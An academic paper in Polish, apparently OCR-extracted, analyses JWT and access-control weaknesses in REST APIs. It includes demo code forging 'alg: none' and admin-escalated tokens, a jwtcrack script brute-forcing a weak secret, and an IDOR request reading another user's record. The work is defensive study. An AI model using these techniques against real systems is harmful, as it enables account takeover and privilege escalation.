JCSI 16 (2020) 252-260
JOU NAL Received: 20 May 2020

COMPUTER SCIENCES INSTITUTE Accepted: 28 May 2020

A security analysis of authentication and authorization implemented
in web applications based on the REST architecture

Analiza bezpieczenstwa mechanizmow uwierzytelniania oraz autoryzacji
implementowanych w aplikacjach internetowych zbudowanych w oparciu
o architektur¢ REST

Tomasz Muszynski*, Grzegorz Koziel

Department of Computer Science, Lublin University of Technology, Nadbystrzycka 36B, 20-618 Lublin, Poland

Abstract

The purpose of this article is to prepare a security analysis of authentication and authorization mechanisms in web ap-
plications based on the REST architecture. The article analyzes the problems encountered during the implementation
of the JSON Web Token (JWT) mechanism. The article presents examples of problems related to the implementation
of authorization and authentication, and presents good practices that help ensure application security.
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Streszczenie

Celem artykulu jest analiza bezpieczenstwa mechanizméw uwierzytelniania oraz autoryzacji w aplikacjach interneto-
wych zbudowanych w oparciu o architekture REST. W artykule przeanalizowano problemy spotykane podczas imple-
mentacji mechanizmu JSON Web Token (JWT). W artykule podano przyktady probleméw zwigzanych z wdrozeniem
autoryzacji i uwierzytelniania oraz przedstawiono dobre praktyki ulatwiajace zapewnienie bezpieczenstwa aplikacji.
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1. Wstep 3. Przeglad literatury
Wspbtczesnie trudno spotkaé oprogramowanie, kto- Bezpieczenstwo aplikacji zbudowanych w architek-
re w swojej architekturze nie realizuje procesu uwierzy- turze REST API w niewielu publikacjach jest traktowa-
telnienia oraz autoryzacji. ne jako oddzielna kategoria poddana analizie. W litera-
Uwierzytelnianie to proces, ktorego celem jest we- turze polskojezycznej trudno znalezé opracowania tej
ryfikacja czy zebrane od podmiotu poswiadczenia po- tematyki, dopiero w 2019 roku ukazala si¢ ksigzka pt.
twierdzaja jego tozsamo$¢. Natomiast proces autoryza- »Bezpieczenstwo aplikacji webowych” wydana przez
cji na podstawie zapisanych w systemie uprawnien wydawnictwo SECURITUM, w ktoérej znajduje sie¢
podejmuje decyzje o odmowie lub przyznaniu dostgpu rozdzial poswigcony Dbezpieczenstwu architektury
do zasobow. Proces autoryzacji bazuje na zweryfikowa- REST. W rozdziale pt. ,,Bezpieczenstwo API REST”,
nej tozsamosci uzytkownika. autor zauwaza podobienstwa aplikacji w architekturze
Niepoprawna implementacja mechanizméw uwie- REST do pozostatych aplikacji internetowych, nato-
rzytelnienia oraz autoryzacji jest czestym powodem miast wskazuje rowniez roznice, ktore powoduja, ze
problemdéw bezpieczenstwa w przypadku aplikacji zbu- warto ten temat analizowa¢ jako oddzielng kategorig.
dowanych w architekturze REST [1]. Realizacja powyz- W rozdziale mozna znalez¢ informacj¢ o przyczynach
szych procesow najczesciej wykorzystuje mechanizm btedow bezpieczenstwa takich jak:
JSON Web Token, ktorego ztozonos$¢ moze by¢ przy- e brak doktadnego okreslenia jakie metody powinny
czyna popehianych btedow a w konsekwencji wysta- by¢ uzyte do jakich operacji,
pienia podatnos’ci bezpieczeﬁstwa. \\% artykule omowio- ° uZycie frameworkow lub bibliotek Zawierajqcych
no kontekst bezpieczenstwa JWT oraz problemy zwia- podatnoéci,
zane z implementacja uwierzytelniania oraz autoryzacji e wlaczony tryb , Debug”,
w aplikacjach zbudowanych w architekturze REST. e roznorodnosé formatow danych,
2. Cel publikacji e niepoprawna implementacja uwierzytelnienia i auto-

o ) ) ryzacji, czgsty brak wdrozonego uwierzytelnienia.
Celem publikacji jest przeprowadzenie analizy bez-

pieczeﬁstwa procesow uwigrzytglniapia oraz autoryzacji Autor rozdzialu wspomina réwniez o matej liczbie
implementowanych w  aplikacjach internetowych zbu- publikacji badajacych bezpieczenstwo tej architektury.
dowanych w architekturze REST. ,»Osobiscie uwazam, ze zagadnienie jest jeszcze mato

zbadane, niewiele mamy rowniez dostgpnych informacji
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o konkretnych podatnosciach w API REST — np. znale-

zionych w ramach programéw bug bounty.”[1].

Kolejnym rozdzialem we wspomnianej ksigzce jest
rozdziat opisujacy niebezpieczenstwo zwiazane z wdro-
zeniem JSON Web Token (JWT), uzycie JWT jest po-
wszechne w procesie wymiany danych uwierzytelniaja-
cych implementowanych w REST API. W rozdziale
mozna znalez¢ analiz¢ az jedenastu problemow bezpie-
czenstwa JWT oraz praktyczne rady jak im przeciw-
dziala¢. Temat bezpieczenstwa JWT to podstawowa
kwestia zwigzana z problemami spotykanymi w aplika-
cjach opartych na architekturze REST.

Autorzy badajacy bezpieczenstwo REST API w du-
zej mierze skupiajg si¢ na problemach, ktore zwigzane
sa z implementacja JWT. W artykule pt. ,,Microservices
API Security”[2] autor wspomina o braku szyfrowania
JWT. JWT jest podpisane, jednak nie sg automatycznie
szyfrowane (szyfrowanie JWT jest funkcja opcjonalng).
To znaczy ze wszelkie dane znajdujace si¢ w tokenie
moga by¢ odczytane przez kazdego, kto uzyska do nie-
go dostep. Autor réwniez jako problem opisuje brak
mozliwo$ci natychmiastowego zablokowania uzytkow-
nika poprzez anulowania JWT, poniewaz token prze-
chowywany jest po stronie klienta.

Autor artykutu ,,The Protection of Information in
Computer Systems”[3] wskazuje na to, ze REST API
powinno by¢ bezstanowe, w kazdym zadaniu powinien
byé¢ przesytany komplet informacji pozwalajacy na
ponowne weryfikowanie czy przestane informacje
umozliwiajg dostgp do systemu, co réwniez wigze si¢
z wybraniem JWT jako mechanizmu pozwalajacego na
dotaczanie danych uwierzytelniajacych w kazdym zapy-
taniu. Autor omawia dobre praktyki projektowania
zabezpieczen, ktore warto wdrozy¢ w REST API, opi-
sywane zasady wskazuja miedzy innymi, ze:

e uzytkownik powinien mie¢ tylko takie uprawnienia,
ktore sg niezbedne do wykonywania przez niego za-
dan, uprawnienia powinny by¢ rozszerzane wylacz-
nie w ramach potrzeb,

e nie powinno stosowac si¢ domys$lnych poziomoéw
uprawnien,

e system powinien by¢ mozliwie prosty, dzigki temu
bedzie zawierat mniej biedow,

e kazde zapytanie powinno by¢ weryfikowane pod
wzgledem uprawnien bazujac na rzeczywistym sta-
nie, a nie zbuforowanych danych, tak aby odwotanie
uprawnien dziatalo natychmiast.

Kolejnym zrédlem wiedzy o bezpieczenstwie apli-
kacji internetowych sg publikacje organizacji OWASP
(ang. Open Web Application Security Project). OWASP
wydaje specjalne dokumenty miedzy innymi zawieraja-
ce opis najbardziej krytycznych podatnosci aplikacji
internetowych, organizacja postanowita wydzieli¢ kate-
gorie podatno$ci API jako oddzielny zbior. Opisane
w publikacji podatno$ci mozna uznac za scisle zwigzane
z implementacja API w standardzie REST. Wydzielenie
tematyki API przez organizacj¢ OWASP udowadnia, ze
ten temat zastuguje na oddzielng analize.

OWASP opracowal dwa dokumenty: ,,Application
Security Verification Standard 4.0”[4] w skrocie okre-
slany ASVS oraz ,,Top 10 Proactive Controls”[5], do-
kumenty te przeznaczone s3 jako pomoc w implementa-
cji 1 w testowaniu bezpieczenstwa aplikacji interneto-
wych. W powyzszych dokumentach mozna znalez¢
informacje na temat wymagan, ktore nalezy zweryfiko-
wac podczas pracy z oprogramowaniem zbudowanym w
architekturze REST. Publikacja zawiera wskazania na
potrzebe nastepujacych weryfikacji:

e poprawno$¢ wprowadzanych danych, wdrozenie
odpowiedniej walidacji, sprawdzanie typu danych
wejsciowych,

e czy komunikacja jest szyfrowana,

e czy JWT zostato prawidlowo zaimplementowane.

W wyniku analizy biezacego stanu wiedzy nalezy
stwierdzi¢, ze wydzielenie aplikacji zbudowanych
w architekturze REST z posrod wszystkich aplikacji
internetowych jest zasadne.

Czgsto omawianym stabym punktem zwigzanym
z aplikacjami wykorzystujacymi REST jest zastosowa-
nie zlozonego mechanizmu JWT. Pomimo, ze wiele
wystepujacych podatnosci we wspolczesnych aplika-
cjach internetowych spowodowanych jest takimi czyn-
nikami jak przeoczenie, niedbatos$c, brak testowania, to
wybor architektury REST moze mie¢ konsekwencje,
o ktorych warto wiedzie¢ podczas projektowania i im-
plementacji.

4. REST

Architektura oprogramowania okresla organizacje
systemu i jego komponentdéw, definiuje reguty budowy
oraz zasady rozwoju. REST (ang. REpresentational
State Transfer) jest stylem architektury oprogramowania
dedykowanym dla rozproszonych systemow, zostat
zaprezentowany przez Roya Fieldinga w 2000 roku [6].
Z architekturg REST $cisle wigze si¢ pojecie API (ang.
Application Programming Interface). API jest zbiorem
regut okreslajacych zasady komunikacji pomiedzy pro-
gramami komputerowymi. REST API w ostatnich la-
tach zyskato duzg popularno$¢, wypierajac alternatywna
metode komunikacji jaka jest wykorzystanie protokotu
SOAP. Rysunek 1 przedstawia zainteresowanie archi-
tektura REST w poréwnaniu z protokotem SOAP
w ujeciu czasowym wedtug wyszukiwarki Google.

@ RESTAPI
@ SO0AP

.

Rysunek 1: Porownanie zainteresowania REST API z SOAP [7]

Autor REST zdefiniowat sze$¢ nastgpujacych ogra-
niczen:

e bezstanowo$¢ (ang. stateless) — kazde zadanie jest
niezalezne od poprzedniego, jest to tez wlasnosé
protokotu HTTP,

e jednolity interfejs (ang. Uniform interface) — jednoli-
ty interfejs definiowany jest przez cztery zalozenia.




Journal of Computer Sciences Institute

16 (2020) 252-260

Po pierwsze adresy powinny jednoznacznie wska-
zywac do jakiego zasobu si¢ odwotuja. Drugie ogra-
niczenie méwi o tym, ze zasoby moga by¢ modyfi-
kowane przez klienta, posiadajacego reprezentacje
zasobu 1 dolaczone do niego metadane. Trzecie
ograniczenie wskazuje, ze wiadomo$ci wymieniane
powinny zawiera¢ takg ilo$¢ informacji, ktora po-
zwoli serwerowi na dokladne ich przetworzenie.
Ostatnie ograniczenie okresla, ze serwer moze od-
powiadac¢ tekstem zawierajacym hiperlacza,

e pamieg¢ podrgczna (ang. cache) — serwer w odpowie-
dzi powinien okresli¢ czy odpowiedz moze zostaé
buforowana. Dane zwracane przez interfejs moga
by¢ danymi, ktore czgsto ulegaja zmianie wtedy ta-
kie dane warto oznaczy¢ jako niebuforowane. Istnie-
ja tez dane, ktore nie zmieniaja si¢ lub zmieniajg si¢
rzadko w takich przypadkach zastosowanie buforo-
wania moze w znacznym stopniu zmniejszy¢ liczbe
polaczen z serwerem, przez co pozwoli zminimali-
zowacé wykorzystywane zasoby,

e Kklient-serwer (ang. client-server) — odseparowanie
zadan wykonywanych przez serwer od interfejsu
uzytkownika, zwigksza mozliwosci skalowalno$ci
i ulatwia dostarczanie rozwigzan na rézne platformy,

e gsystem warstwowy (ang. layered system) — architek-
tura sktada si¢ z wydzielonych warstw, kazda
z warstw ma oddzielne zadania i prowadzi interakcje
wylacznie z przylegtymi warstwami,

¢ kod na zadanie (ang. code on demand) — jest opcjo-
nalnym ograniczeniem, REST pozwala klientowi na
rozszerzanie funkcjonalnosci poprzez odbieranie
i wykonywanie kodu w postaci skryptow lub aple-
tow zwigkszajac funkcjonalnos¢ systemu.

Wszystkie informacje zwigzane z REST okre$lane sa

jako zasob. Zasobem moze by¢ tekst, plik multimedial-

ny, uzytkownik. Stan zasobu jest okreslany jako repre-
zentacja zasobu. Reprezentacja zbudowana jest z da-

nych, hiperlagczy, oraz metadanych ich opisujacych [6].

5. JSON Web Token

JSON Web Token w skrocie JWT, jest otwartym
standardem zdefiniowanym w dokumencie RFC
7519 [8]. JWT zostat opracowany w celu bezpiecznego
przekazywania danych pomigdzy komunikujacymi si¢
ustugami. Bezpieczenstwo moze zosta¢ zrealizowane na
dwoch plaszczyznach, pierwsza to integralnos¢ danych.
Integralno$¢ realizowana jest przy wykorzystaniu pod-
piséw. Drugim aspektem bezpieczenstwa jest poufnosc,
dane przekazywane przy uzyciu JWT moga zostaé za-
szyfrowane [9]. Dane JWT moga zosta¢ zakodowane
w jedna z dwoch struktur:

e JWS (ang. JSON Web Signature),
e JWE (ang. JSON Web Encryption).
W praktyce czgsto JWS nazywany jest jako JWT [1].

JWT ze wzgledu na swoja specyfike jest najczgsciej
wykorzystywany w dwoch procesach implementowa-
nych w oprogramowaniu:

e autoryzacja — po udanym uwierzytelnieniu, serwer
przesyla do klienta JWT, ktory moze zosta¢ uzyty

w kolejnych zadaniach jako potwierdzenie tozsamo-

$ci uprawniajace do operacji na autoryzowanych za-

sobach,

e wymiana informacji — dane sa przesylane migdzy
stronami przy wykorzystaniu par kluczy publiczny -
prywatny, zapewnia to bezpieczne przesylanie in-
formac;ji [9].

JWS sktada si¢ z trzech oddzielonych kropkami
elementow, kazdy z elementow zakodowany jest algo-
rytmem Base64URL:

e naglowek — zbudowany jest z dwoch elementow
okreslajacych typ tokena oraz algorytm podpisu,

e payload — zawiera docelowe dane, ktére beda istotne
z punktu widzenia realizowanej funkcjonalnosci,
w tadunku przesytane sa zazwyczaj dane identyfiku-
jace uzytkownika systemu, oraz dane pomocnicze
takie jak czas waznosci,

e podpis — gwarantuje integralno$¢ danych, na podpis
sktada si¢ nagtéwek, payload oraz tajny klucz prze-
chowywany po stronie serwera. Podpis jest wyni-
kiem dzialania algorytmu okreslonego w nagltéwku
w parametrze ,,alg”[9].

Przyktadowy JWT zostal zaprezentowany na Rysun-

ku 2.

o 2
(3]
o Naglowek o Payload o Podpis
{ HMACSHA256(
valg": "HS256" "Id"; "1234", BASE64URL (nagtéwek)
typs T . "name": "Jan Nowak", §

"exp": 1581351938 BASE64URL (payload) ,

} Secret)

Rysunek 2: Przyktad JWT [1]
5.1. Kontekst bezpieczenstwa

Struktura JWT jest skomplikowana i nie zawsze jest
dobrze zrozumiana przez osoby implementujace jej
wykorzystanie. Dane przesytane w JWS nie sg szyfro-
wane i mogg zosta¢ odczytane , dlatego tez w JWS nie
powinny znajdowa¢ si¢ poufne informacje, ktore nalezy
chroni¢, dopiero struktura JWE implementuje mechani-
zmy szyfrowania danych i jest w stanie zagwarantowac
ich poufno$¢. JWS umozliwia zapewnienie integralno$ci
danych, ktora realizowana jest przez podpis Jezeli ata-
kujacy zmieni payload podpis nie zostanie poprawnie
zweryfikowany przez serwer i JWT zostanie odrzucony.
Zmiana podpisu przez atakujacego nie jest mozliwa
poniewaz elementem podpisu jest tajny klucz znajduja-
cy si¢ po stronie serwera. JWT dostarcza duza elastycz-
no$¢ przy zapewnieniu bezpieczenstwa, natomiast ze
wzgledu na ztozono§¢ implementacji mogg wystapicé
btedy, w wyniku ktérych pojawia si¢ podatnosci bezpie-
czenstwa.

Dokumentacja opisujaca specyfike JWT wskazuje
na mozliwo$¢ uzycia JWT bez podpisu, brak podpisu
okreslany jest w nagtowku, ktory moze wyglada¢ jak na
Listingu 1.
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Listing 1: Nagtowek JWT okre$lajacy brak wymagania podpisu
{

"alg": "none",

"typ": "TWT"
}

Atakujacy moze wykorzysta¢ ten fakt i sprobowac
zmieni¢ algorytm podpisu na ,,none”, jezeli zaimple-
mentowana weryfikacja JWT nie uwzglednia takiej
sytuacji, napastnikowi moze udac si¢ dosta¢ do nieprze-
znaczonych dla niego danych.

Podatno$¢ wystepuje w bibliotekach implementuja-
cych JWT, biblioteki niepoprawnie realizuja funkcjo-
nalno$¢ weryfikacji podpisu poniewaz nie sa odporne na
zmiang typu algorytmu. Atakujacy zmienia zawarto$¢
payloadu a nastepnie modyfikuje algorytm podpisu,
w kolejnym kroku JWT wysylany jest w zadaniu a ser-
wer podejmuje probe weryfikacji. Serwer powinien
zwroci¢ blad weryfikacji, natomiast ze wzgledu na luki
nie zawsze tak si¢ dzieje. Rysunek 3 przedstawia sche-
mat mozliwego ataku [1].

e
Podpis:
none

g 11234", ‘
"name": "Jan Nowak", «
"exp": 1581351938

4 "alg": ,none",
e
} }

W celu zobrazowania przebiegu ataku wykorzysta-
no $rodowisko NodeJS w wersji 10.16.3, oraz biblioteke
jsonwebtoken” w wersji 8.5.1.

Istote podatnosci mozna przedstawi¢ za pomoca
prostego kodu programu. W pierwszym kroku tworzony
jest nowy JWT, nast¢pnie wykonywane jest jego deko-
dowanie oraz weryfikacja. Kolejnym etapem jest zmia-
na algorytmu na algorytm ,,none”, nastgpnie ponownie
wykonywane jest dekodowanie i weryfikacja. Przyktad
obrazujacy na czym polega luka zaprezentowano na
Listingu 2.

Listing 2: Kod JavaScript obrazujacy podatnos¢
const jwt = require('jsonwebtoken');
const base64url = require('base64url’);

const privateKey = '123456789abcdefgh';

//Utworzenie podpisanego tokenu
let token = jwt.sign({ id: '1234', name: 'Jan Nowak', admin: false },
privateKey, { algorithm: 'HS256'});

// Przed ingerencja w token

const decodedToken = jwt.decode(token, privateKey);
console.log('Zdekodowany token: ');
console.log(decodedToken);

const verifiedToken = jwt.verify(token, privateKey);
console.log('Zweryfikowany token: ');
console.log(verifiedToken);

//Zmiana algorytmu

let tokenHeader = token.split('.")[0];

tokenHeader = JSON.parse(base64url.decode(tokenHeader));
console.log('Naglowek przed zmiang algorytmu: ');
console.log(tokenHeader);

console.log('Nagtowek po zmianie algorytmu: ');
tokenHeader.alg = 'none';

console.log(tokenHeader);

const newHeader =base64url(JSON.stringify(tokenHeader));
token = newHeader + """ + token.split(.)[1] +
token.split(".")[2];

/I Po ingerencji w token

const decodedToken2 = jwt.decode(token, privateKey);
console.log('Zdekodowany token: ");
console.log(decodedToken2);

e 4

console.log('Zweryfikowany token: ");

try {
const verifiedToken2 = jwt.verify(token, privateKey);
console.log(verifiedToken2);

} catch(err) {
console.log('Blad weryfikacji: ' + err.message);

}

Wykorzystana w przyktadzie wersja biblioteki oka-
zala si¢ odporna na opisywany atak, natomiast w innych
bibliotekach lub wlasnych implementacjach taki atak
moze zakonczy¢ si¢ powodzeniem. Wynik dzialania
programu przedstawiono na Rysunku 4.

$ node app.js

Zawartos¢ tokenu:

Zdekodowany token:

{id: , hame:

Zweryfikowany token:

{id: , name: , admin: false, iat: 1587296819 }

Nagtéwek przed zmiang algorytmu:

{typ: , alg: }

Nagtéwek po zmianie algorytmu:

{typ: , alg: }

Zdekodowany token:

{id: , name:

Zweryfikowany token:

Btad weryfikacji: invalid sighature

, admin; false, iat: 1587296819 }

, admin: false, iat: 1587296819 }

Rysunek 4: Zrzut z konsoli prezentujacej wynik dziatania programu

Uzyta w przyktadzie biblioteka ,,jsonwebtoken” jest
odporna na zmian¢ rodzaju algorytmu podpisu, nie
oznacza to, ze inne biblioteki operujace na JWT beda
réwnie dobrze zabezpieczone przed tym rodzajem bie-
dow. Skutkiem ignorowania podpisu moze by¢ catkowi-
te przejecie konta uzytkownika. Napastnik moze do-
wolnie zmieni¢ tadunek JWT bez wykrycia tego przez
mechanizmy weryfikujace.

Kolejnym problemem moze by¢ biedna implemen-
tacja procesu weryfikacji, ktora polega na zastosowaniu
nieodpowiedniej metody. JWT jest tylko dekodowany
bez weryfikowania czy nie zostal zmodyfikowany przez
uzytkownika. W celu zobrazowania podatnos$ci wyko-
rzystano $rodowisko Nodel]S w wersji 10.16.3, oraz
biblioteke ,,jsonwebtoken” w wersji 8.5.1. Ponizej
przedstawiono kroki, ktoérych wykonanie umozliwia
zobrazowanie i zrozumienie przyczyn wyst¢powania
podatnosci. Pierwszym krokiem jest utworzenie projek-
tu, w tym celu wykonujemy polecenie npm init -y, wy-
nik polecenia zobrazowano na Rysunku 5.
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S npm init -y
wrote to J:\aplikacja\vulnerability_1\package.json:

{

vulnerability_1",

"main": "index
"scripts”: {

"test": "echo \"Error: no test specified\" && exit 1"
}
"keywords":
"author": "",
"license": "ISC"
}

Rysunek 5: Utworzenie projektu w NodeJS

Nastgpnie nalezy zainstalowac biblioteke wspoma-
gajacg implementacje JWT. Proces instalacji biblioteki
zobrazowano na Rysunku 6.

S npm install jsonwebtoken
+ jsonwebtoken@8.5.1

added 15 packages from 10 contributors and audited 17 packages in 3.773s
found 0 vulnerabilities

Rysunek 6: Instalacja biblioteki ,,jsonwebtoken

W celu zmiany zawartosci payloadu skorzystano
z biblioteki ,,base64url”. Rysunek 7 zawiera szczegoly
instalacji.
$ npm i base64url
+ base64url@3.0.1

added 1 packages from 1 contributors and audited 18 packages in 4.61s
found 0 vulnerabilities

Rysunek 7: Instalacja biblioteki base64url

Kod programu znajdujacy si¢ na Listingu 3 tworzy
nowy JWT, wykonuje jego dekodowanie i weryfikacje,
nastepnie zawarto$¢ payloadu jest zmieniana i ponownie
wykonywany jest proces dekodowania i weryfikacji.
Uzycie dekodowania, ktore nie weryfikuje podpisu
ajedynie odczytuje zawarto$¢ zamiast weryfikacji
umozliwia atakujacemu zmiang danych przesytanych
w tokenie.

Listing 3: Kod JavaScript przedstawiajacy réznic¢ pomigdzy weryfi-
kacja a dekodowaniem

const jwt = require('jsonwebtoken');

const base64url = require('base64url');

const privateKey = '123456789abcdefgh’;

//Utworzenie podpisanego tokenu
let token = jwt.sign({ id: '1234', name: 'Jan Nowak', admin: false },
privateKey, { algorithm: 'HS256'});

// Przed ingerencja w token

const decodedToken = jwt.decode(token, privateKey);
console.log('Zdekodowany token: ');
console.log(decodedToken);

const verifiedToken = jwt.verify(token, privateKey);
console.log("Zweryfikowany token: ');
console.log(verifiedToken);

/[Zmiana payloadu

let tokenPayload = token.split(".")[1];

tokenPayload = JSON.parse(base64url.decode(tokenPayload));
tokenPayload.admin = true;

const newPayload =base64url(JSON.stringify(tokenPayload));
token = token.split(.)[0]+ "." + newPayload +
token.split(".")[2];

U

/I Po ingerencji w token

const decodedToken2 = jwt.decode(token, privateKey);
console.log(Zdekodowany token: ");
console.log(decodedToken2);

console.log("Zweryfikowany token: ');

try {
const verifiedToken2 = jwt.verify(token, privateKey);
console.log(verifiedToken2);

} catch(err) {
console.log('Btad weryfikacji: ' + err.message);

}

Dekodowanie nie weryfikuje podpisu, dopiero pro-
ces weryfikacji zwraca blad iuniemozliwia eskalacje
uprawnien. Wynik dziatania programu zostal przedsta-
wiony na Rysunku 8.

S node app.js
Zdekodowany token:
{id: , hame:
Zweryfikowany token:
{id: , name

, admin: false, iat: 1587293399 }

, admin: false, iat: 1587293399 }

Zdekodowany token:
{id:
Zweryfikowany token:

Btad weryfikaciji: invalid signature

, name: , admin: true, iat: 1587293399 }

Rysunek 8: Wynik poréwnania weryfikacji i dekodowania

Zastosowanie dekodowania zamiast weryfikacji
moze mie¢ powazne skutki, atakujacy moze zmienic
dane dostarczane w tokenie i zwigkszy¢ uprawnienia
lub podszy¢ si¢ pod innego uzytkownika systemu. Wy-
stgpienie podatnosci moze by¢ wynikiem braku znajo-
mosci zewngtrznych bibliotek. Dokumentacja wyraznie
opisuje skutki wybrania funkcji dekodowania zamiast
weryfikacji, Rysunek 9 przedstawia fragment dokumen-
tacji biblioteki ,,jsonwebtoken”.
jwt.decode(token [, options])

(Synchronous) Returns the decoded payload without verifying if the signature is valid.

Warning: This will not verify whether the signature is valid. You should not use this for

untrusted messages. You most likely want to use jwt.verify instead.
Rysunek 9: Fragment dokumentacji biblioteki ,,jsonwebtoken” [10]

Jezeli metoda weryfikacji zostanie poprawnie wy-
brana oraz zastosuje si¢ odpowiednie zabezpieczenia
przed zmiang algorytmu na ,,none” mozna napotka¢ na
kolejng trudno$¢ polegajaca na odpowiednim doborze
klucza. Podpis JWT sktada si¢ z nagtowka, paylodu
oraz tajnego klucza przechowywanego po stronie serwe-
ra, wybranie klucza o krétkiej dtugosci moze spowodo-
waé szybkie jego ztamanie. Wszystkie dane potrzebne
do préby ztamania tajnego klucza znajduja si¢ po stro-
nie uzytkownika, czyli osoby atakujacej. Wykrycie
proby forsowania klucza nie jest mozliwe przez serwer
poniewaz wszystkie operacje wykonywane sa poza
serwerem. Przyktadowym narzedziem umozliwiajacym
famanie tajnego klucza JWT jest narzedzie JWT crac-
ker [11].

W celu zademonstrowania problemu przygotowano
JWT ze stabym kluczem tajnym o wartosci 1234.
W celu przygotowania JWT uzyto narzedzia dostepnego
pod adresem https://jwt.io/, proces tworzenia JWT za-
prezentowano na Rysunku 10.
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Encoded Decoded

eyJhbGeiniJIUz
cCI6IkpXYCJY. e

Rysunek 10: Przygotowanie JWT ze stabym kluczek tajnym

Skrypt umozliwiajacy ztamanie klucza, wykorzy-
stuje narzedzie JWT cracker oraz wyswietla czas rozpo-
czgeia i czas zakonczenia procesu. Tres¢ skryptu zostata
przedstawiona na Listingu 4.

Listing 4 Skrypt tamigcy klucz tajny JWT
#!/bin/sh
# Skrypt tamigcy klucz tajny JWT
date +"%T"
Jjwtcrack eyJhbGeiOiJIUZIINil
sInR5cCI61kpXVCI9.eyJzdWIOIIxMjMONTY3
ODkwliwibmFtZSI61kphbiBOb3dhaylsImlhdCIGMTUxNjIzO
TAyMn
0.JuFvEJoJk9BoBZD3vT5NCySy4SOALp9Pp8mwpvLO3k
date +"%T"

Skrypt po czasie nie dluzszym niz dwie minut
zwrocit tajny klucz. Wynik dzialania programu przed-
stawiono na Rysunku 11.

# /skrypt.sh
14:15:08

Secret is "124"
14:16:26

Rysunek 11: Wynik skryptu famiacego klucz tajny

Fakt, ze dzigki JWT mozemy zrealizowaé uwierzy-
telnienie bez komunikacji z baza danych to podstawa
kolejnego problemu bezpieczenstwa. Jezeli tokeny nie
beda miaty okreslonych krotkich dat waznos$ci oraz w
mechanizmie weryfikujacym waznos¢ tokenu nie bedzie
wlasciwie sprawdzana, nie bgdzie mozliwa natychmia-
stowa zmiana uprawnien lub zablokowanie uzytkowni-
ka. Czestym rozwigzaniem tego problemu jest genero-
wanie dwoch tokendéw jeden, ktéry zawiera dane
o uzytkowniku (token uwierzytelniajacy) z krotkim
czasem waznoSci i drugi, tak zwany token od$wiezaja-
cym, ktory zapisywany jest w bazie danych. Token
odswiezajacy stuzy do pozyskania nowego tokenu auto-
ryzujacego w chwili jego uniewaznienia.

6. Autoryzacja oraz uwierzytelnianie

Opisane ponizej podatnosci zwiazane sa z niepo-
prawnym wdrozeniem mechanizméw uwierzytelniania
oraz autoryzacji.

Szczegdly podatnos$ci zostaly zademonstrowane
w oparciu o aplikacje REST API. Aplikacja zostala
opracowang w technologii NodelJS przy wykorzystaniu
frameworka Express.

6.1. Autoryzacja na poziomie obiektu

Autoryzacja na poziomie obiektu dotyczy sytuacji,
w ktorej uzytkownik jest uwierzytelniony i probuje
uzyska¢ dostgp do konkretnego obiektu. Decyzja
o przyznaniu lub odmowie dostepu podejmowana jest
na podstawie zapisanych w bazie danych poswiadczen.
Atakujacy probuje modyfikowaé parametry zapytania
np. identyfikator obiektu w ten sposéb aby w odpowie-
dzi zostaty zwrdcone dane, ktére nie powinny by¢é mu
zaprezentowane.

Napastnik zarejestrowat si¢ oraz uwierzytelnit, na-
stepnie przeprowadza rekonesans, w wyniku ktdérego
znalazt punkt koncowy odpowiedzialny za pobranie
informacji na temat jego profilu. Zadanie pobierajace
dane uzytkownika przedstawia Listing 5.

Listing 5 Zadanie pobrania informacji o uzytkowniku
GET /api/users/vl/1 HTTP/1.1
Host: localhost:3010

Accept: application/json, text/plain, */*
Content-Type: application/json

W odpowiedzi na powyzsze zadanie serwer zwraca
informacje na temat uzytkownika, odpowiedz serwera
przedstawia Listing 6.

Listing 6 Odpowiedz zawierajgca dane uzytkownika
HTTP/1.1 200 OK
[Nagtowki]

{

"id":1,

"email": "jan@niepodam.pl”,

"first_name": "Jan",

"last_name": "Kowalski",

"id_number": "ABC12345",

"pesel": "12345612345",

"phone_number": "111 222 333",

"password":
"$2a$10$.Ci9NPsLIrppf.8 1MOoa.uXKghsnsMQcQpc62Zk53szCsnp
YclXf2",

"active": false,

"created_at": "2020-05-16T09:31:00.069Z"
}

Identyfikator przesylany w zadaniu ma wartos¢ 1,
jest to identyfikator uzytkownika, podajac inng warto$c¢
parametru proces autoryzacji powinien zwrdci¢ odpo-
wiedz z informacja o braku uprawnien. Poniewaz auto-
ryzacja nie zostala odpowiednio zaimplementowana
podanie identyfikatora nalezacego do innego uzytkow-
nika spowoduje przetworzenie zapytania i zwrdcenie
odpowiedzi z pelnymi danymi. Rysunek 12 przedstawia
zmodyfikowane zapytanie wystane przy pomocy pro-
gramu Burp Suite.

Raw | Headers | Hex

1 GET /api/users/v1/2 HTTP/1.1 H
2 Host: localhost:3010

3 Accept: application/json, ext/plain, */*

4 Content-Type: application/json

5

6

Rysunek 12 Zmodyfikowane zadanie

W odpowiedzi na zadanie zostala zwrocona odpo-
wiedz zawierajgca dane innego uzytkownika (Rysu-
nek 13), dzieje si¢ tak, poniewaz serwer polega na pa-
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rametrach, ktére przesyla uzytkownik, a nie na jego
uprawnieniach.

1 HTTP/1.1 200 OK
2 X-DNS-Prefetch-Control:
3 X-Frame-Options: SAMEORIGIN
4 Strict-Transport-Security: max-age=15552000; includeSubDomains
5 X-Download-Options: noopen
& X-Content-Type-Options: nosniff
7 X-XS5-Protection: 1; mode=block
8 Content-Type: application/json; charset=utf-8
9 Content-Length: 6@3
16 ETag: W/"25b-oTcm2C63x+a6FYj3FmIaD2EM1HW"
11 Date: Thu, 21 May 2828 14:26:88 GMT
12 Connection: keep-alive
14 {
"response”:{
*1d®:2,
“email”:"michal@niepodam.pl”,
"first_name":"Michal”,
"last_name":"Nowak",
“id_number"”:"CBD 23456",
“pesel”:"77777766666",
"phone_number":"222 333 444",
“password":“$2a$16$2JESLtLpvCICiQvix/B4X. 9T jHykypDuo6bNZDNUpOKKRBGHGNABC",
"active":false,
"created_at":"2020-05-16T@9:34:43.799Z",
"isAdmin”:false
i
"sql":"{ method:

off

"select”,\n options: {},\n timeout: false,\n

Rysunek 13 Odpowiedz na zmodyfikowane zadanie
Mechanizmy kontrolujace dostep uzytkownikoéw do
obiektow zazwyczaj sg mechanizmami zlozonymi,
przez co sa bardziej podatne na luki bezpieczenstwa.
Nalezy bezwzglednie zweryfikowaé, czy mechanizm
autoryzacji bazuje na uprawnieniach uzytkownikow.

6.2. Bledy w uwierzytelnianiu uzytkownikow

Punkty koncowe odpowiedzialne za proces uwie-
rzytelniania sa dostgpne na zewnatrz, przez co czg¢sto sa
pierwszym wektorem ataku. W przypadku przelamania
uwierzytelniania atakujacy moze przeja¢ konto, ktore
zawiera poufne dane oraz uprawnia do wykonywania
operacji modyfikujacych lub trwale usuwajacych dane.

